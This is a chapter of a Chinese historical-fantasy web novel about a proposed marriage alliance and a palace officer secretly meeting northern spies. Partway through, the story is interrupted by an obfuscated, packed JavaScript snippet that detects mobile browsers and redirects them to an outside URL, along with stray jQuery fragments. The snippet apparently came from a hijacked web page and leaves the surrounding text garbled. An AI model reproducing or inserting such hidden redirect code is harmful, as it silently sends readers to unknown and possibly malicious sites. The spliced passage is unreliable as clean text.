36. 和亲复杂,暗探进京

作品:《公主桥

    “哦?”太后听了,如坠五里云雾,呆呆说道:“这是何梦啊?那蟾蜍什么颜色?”


    叶子萌想想说:“嗯,泥土颜色,全身疙疙瘩瘩的,啊呀,瘆人得很!”


    一旁的浣儿道:“那不是癞蛤蟆吗?”


    聂母和聂夫人不解其意,道:“什么,癞蛤蟆?这是何意?”


    聂小云在一旁捏着鼻子坏笑。


    太后也愣了一下,突然,她想到什么,于是忍不住哈哈大笑……叶子萌却装着不知,望着她道:“皇奶奶笑甚?”


    太后笑得眼泪都出来了,她喘着气儿说:“你这梦使我联想起王母娘娘的一次蟠桃会,不过,纯粹是巧合而已,不说它也罢……”


    全部在场的人都在静静地看着她。


    太后笑完,擦了擦泪水,轻轻抿了口茶,这才抬起头来打量着叶子萌和浣儿,并问她妹妹吴姬道:“浣儿郡主今年多大年龄啦,还未婚配吧?”


    旁边的聂夫人应道:“浣儿今年十七八,比子萌妹妹大一些,还未婚配。”


    太后说:“过了及笄之年,是到了该谈婚论嫁的时候,若是我来替浣儿作主,给你提一门亲,你可愿意?”


    浣儿顿时有些害羞,低下头说:“太后说的可是真的?”


    “我这就是闲聊而已,也没有想妥……”太后沉吟片刻,又说,“我假设一下,倘若要你与他国皇子联姻,也即去和亲,你可愿意?”


    “好啊,这是喜事!”一旁的聂小云脱口而出。


    聂夫人用拐肘戳他一下,道:“闭嘴,这里没你说话的份!”


    “哦,”聂小云连忙用手捂住了自己的嘴。


    浣儿则低头沉吟着,半天没回。这浣儿是无比聪慧之人,她忽然觉得太后今天这话中有话,恐怕不是“闲聊”,于是干脆不作声,想听她下一步又怎么说。


    太后见她不回答,心里也没有底了,于是掉头去问叶子萌:“倘若是你呢,你愿意去和亲吗?”


    叶子萌点点头,又摇摇头,装着什么都不知道,懵懵懂懂地问:“皇奶奶,你说的什么呀,子萌愚钝,还望皇奶奶进一步明示……”


    太后再无办法,只好叹了一口气,说道:“好吧,实话告诉你吧,北旗皇帝高渊昨日派遣信使到了京城,还送来了八大箱子彩礼,要为他的大皇子高炜提亲。那个高炜前段时间不是率队来过我们京城上贡品吗,他是看上你啦!”


    “啊?”叶子萌装出惊讶的样子,呆呆地望着太后,“皇奶奶,你不是逗我玩的吧?”


    “我为何逗你玩?”太后说。


    “糟了……”叶子萌说,“那我、我昨晚做的那……那梦……”


    一旁的聂浣儿忍不住噗哧一笑。


    太后顿时也恍然大悟,她暗暗一想,嘴上喃喃说道:“啊,这世上哪有这么凑巧和灵异的事?”


    一旁的聂夫人也神叨叨地说:“这件事还未对明浩公主提及,她提前就做了这个梦,难道她真的是修仙炼道之人,已是通灵了?”


    太后一听,也暗暗惊讶,不过,她现在已是顾不得这些了,又问叶子萌道:“子萌,你就索性回答你奶奶,愿不愿意吧?”


    叶子萌装出很沮丧的样儿,道:“我想先听听皇奶奶的意思……”


    其实这事太后已经想得很清楚了,她怎么舍得让这唯一的亲骨肉嫁到那蛮荒之地去呢?只是她现在多了个心眼,就想通过这件事,来看明白另外一些事,甚至想挖出一些“意外”之事来。


    不过,她也想知道或听听的叶子萌意见,不料这个孙女忒贼,现在反倒问她,于是她说:“北旗与我悒国在边关争战多年,按理说现在两国关系到了和亲阶段,这对国家和黎民来说,倒是件大好之事。只是……”


    “只是什么?”叶子萌问。


    当着众多人的面,太后自然不能表现得太矫情,张口就说舍不得她,假装说的也不行,于是支支吾吾地说:“要是让浣儿郡主去和这个亲,到时你后悔可就来不及了!”


    一旁的聂小云立即说:“对方是皇子,也算是门当户对……”话刚吐出半句,他母亲聂夫人和他奶奶聂母同时用手肘狠狠撞他,他马上就闭嘴了。


    聂浣儿听太后这样说,仍然不说话,她深知此事重大,北旗都来了使者,这件事与她恐怕没一点关系,太后只是借她说话而已,所以她什么都无所谓。


    叶子萌见太后盯着自己,清楚她是一定想知道自己态度的,于是脑子里开始飞快地运转,忽就想起一个更妙的主意,便回答说:“皇奶奶,这件事我一人也做不了主,看来得回去一趟,问问我爹爹和娘亲……”


    太后最不喜欢听到的,就是这类所谓的亲子话语,但是平心而论,叶子萌这样说,也一点毛病也没有,毕竟叶子萌刚来到这世间,就由她这两个养父母抚养大,十几年的感情,不是说没有就没有的。


    现在既然她在用猛力追问叶子萌对这门“婚事”的态度,叶子萌又这样回答,她就只有点头叹气的份了,看来她真是“自讨苦吃”,自以为精明老道,却自己给自己挖了个不大不小的坑。


    想到这里,太后便摆摆手说道:“也罢,你可去与你的养父母知会一声,让她们知晓此事,不过,你是我叶家的后嗣血脉,这件事他们断然是不能做主的……”


    一旁的聂母说道:“怎么,子萌要去蜀都,什么时候起程,我也好替你备些薄礼。”


    叶子萌摇头道:“姨祖母的心意我领了,礼就免了,路上带着累赘……”


    太后道:“我命人替你准备辇轿和卫队随从……”


    “谢谢皇奶奶,”叶子萌笑道:“不过这次我想不劳烦奶奶,这次回去我就骑马,只带上云媃和静香即可,这样既好玩,又快些,问好后就快些返回。”


    太后点着她鼻子笑道:“你呀,就知道好玩!好吧,皇奶奶就依你的。”


    ……


    太后回到千寿宫后,有宫女禀报了凤仪女官米莲,米莲连忙跑去见太后,请安后,问道:“太后,怎么样,明浩公主自己是什么态度?”


    “怎么你比我还急啊?”太后脸色阴沉,一脸不悦。


    米莲的眼珠子转转,知道太后的不悦与自己无关,于是轻轻凑上前去,柔声问道:“太后,要不要我替你揉揉腿?”


    “嗯。”太后点点头,于是米莲抬来一个厚厚的坐垫,将太后的腿放到垫子上,轻轻地揉拨起来,边揉边悄悄去瞥她,半晌才问:“公主顶嘴啦?”


    “那倒没有,这孩子还是挺乖巧的……”太后叹口气,脸色慢慢缓和过来。


    “那又是为了什么?”米莲说。


    “其实也没什么,”太后说,“和亲的事,她要回去问问她的养父母……”


    米莲一下就全明白了,原来太后在吃这醋。她偷偷抿嘴一笑,然后说:“公主尚年轻,婚嫁之事什么都不懂,回去问问也是人之常情,不必在意,再说过几天她不是又回来了吗?”


    太后听米莲这样一说,便觉得自己的矫情被人看出来了,连忙回过神,掉转话头说:“对了,那件事安排了吗?”


    米莲点点头:“正在安排,太后放心,误不了事的。”想起什么,又问,“公主去魏,暗卫跟到哪?”


    太后嘴里吐出八个字:“一路跟随,见机行事。”


    ……


    再说西门轩与云媃,这段时间已经把京都的城西一带探了个遍,这天又来到城北街衢,在路口看见一玩杂耍的,正将帕子里的一白色花朵变成了一只白鸽,然后往空中一抛,那白鸽就展开翅膀向远处扑腾飞去,赢得围观者一阵喝彩……


    西门轩与云媃凑上前去观看,云媃正在看着,旁边忽路过两人,其中一人似曾眼熟,云媃掉头一看,想了想,又拉拉西门轩袖袍,悄悄指给他看。


    西门轩掉头看去,只看到个背影,便问:“那是谁?”


    云媃悄悄说道:“好像是李诀?”


    “李诀?”西门轩思忖着,“这名字好熟……”


    云媃咬牙低声说道:“你这脑袋里一天不知净想些什么,那个宫中的羽林中郎将李诀呀!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885073|159850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>西门轩立刻记起:“哦,原来是他!你确定这人就是他?”


    云媃迟疑着说:“应该就是他吧?……他怎么会跑到这街市中来?”


    这时,那两人已走进一家名叫“品茗斋”的茶肆,进去前那人还回头望了一眼,恰好被西门轩和云媃看得真切:果然是李诀!


    “怎么办?”云媃掉头问,“要不要也跟进茶肆看看?”


    “不然呢?”西门轩问,“还有更好的办法吗?”


    于是两人对视一眼,观察一下四周,然后慢慢尾随而去,进得茶肆刚好看见他们上楼,探到他们进入一个隔间,于是就在隔壁另一隔间也要了两盏清茶……


    端茶小二一走,云媃就附到墙壁仔细探听,听了半天,却听不清楚那两人在说什么,便道:“看来他们非常小心,说话都压低了嗓子。”


    西门轩招手示意她回来。


    云媃回到座位,小声问西门轩道:“怎么办?这两人鬼鬼祟祟,定是在商谈要事。”


    西门轩未作声,只是微闭双眼,双手环抱丹田,开始进入另一种“静”的状态,不用耳听,只用“心”去听……


    云媃知道他这功夫的火候还稍欠,于是大气不敢出,一声不吭地望着他。


    少顷,他睁开了眼睛,云媃凑上去问道:“如何,可听到了什么?”


    西门轩摇摇头道:“茶肆太过喧闹,干扰过多,听得不是很真切,只隐隐约约听见另一人好像在说,‘和亲去……时……’,其他就听不清了。”


    云媃迷惑不解:“又是和亲?什么乱七八糟的……”


    正在这时,隔壁的人出来了,从这边窗边走过时,西门轩和云媃这才看得真真切切,李诀旁边那人,脸上轮廓刚毅,身子粗壮彪悍,不像是中土人士,更不像是京都人。


    云媃道:“那人应该是北旗人,这李诀怎么和北旗那边的人搅和到一块了?”


    西门轩也觉得有些奇怪,他把手指一挥,示意云媃与他尾随而去,两人走出茶肆,见李诀与那人已经分开,李诀向南,那异邦人向北,于是不再去管李诀,只尾随异邦人而去。


    异邦人在街衢七弯八拐,进入一僻静胡同,里面一株柳树上拴有三匹黑亮如缎的南番良马,异邦人走到马前突然停住并回过头,西门轩与云媃不及躲藏,只得硬着头皮走过去。


    异邦人正在解开拴马绳索,西门轩和云媃与他擦身而过时,那人神情紧张,一双鹰眼盯住他们,并不由自主地停了手上的解绳动作。


    各位看客,你道这人是谁,原来正是北旗卫将军莫日尔派来的那个密探,现在看来,这位悒国宫中的羽林中郎将李诀,竟与北旗那边有了瓜葛?


    “得抓住这个奸细……”西门轩脑里忽闪出这个念头,于是趁与异邦人擦身而过,猛然间伸出手抓住那人的手臂,喝道,“跟我走一趟罢!”


    那异邦人吓了一跳,脸色一下大变,不及细想,返身抽出一把弯刀,劈头就朝西门轩砍去,早有防备的西门轩一闪身,同时飞起一脚,就将那人的弯刀踢飞。


    异邦人见势不妙,牵着马匹就往前跑,同时口里吹了个唿哨,这时就见胡同另一边跑来两个异邦人,其一人搭箭就射,眼看那箭飞来就要射中西门轩,一旁的云媃连忙扑上去挡箭,被射中了左肩,她一下捂住肩膀摔倒在地。


    “云媃!”西门轩奔过去,从地上扶起了她,那三个异邦人似乎不敢恋战,各各骑上马,匆匆忙忙窜出胡同,上了拱桥,往远处城门方向疾驰而去……


    “怎么样,云媃?”西门轩扶着云媃,查看伤情道,“伤得重吗?”


    “不要紧,”云媃捂住伤口,咬着牙说,“事情已经明了,李诀与北旗脱不了关系,你扶着我,我们赶紧回去告知子萌妹妹吧!”


    西门轩点点头,从地上扶起云媃,慢慢往相反方向走去。


    回到聂王府后院,静香见西门轩扶着云媃,惊讶问道:“云媃师姐怎么啦,发生了什么事?快,快去后院!怎么才回来,还负了伤,子萌妹妹已等候你们多时……”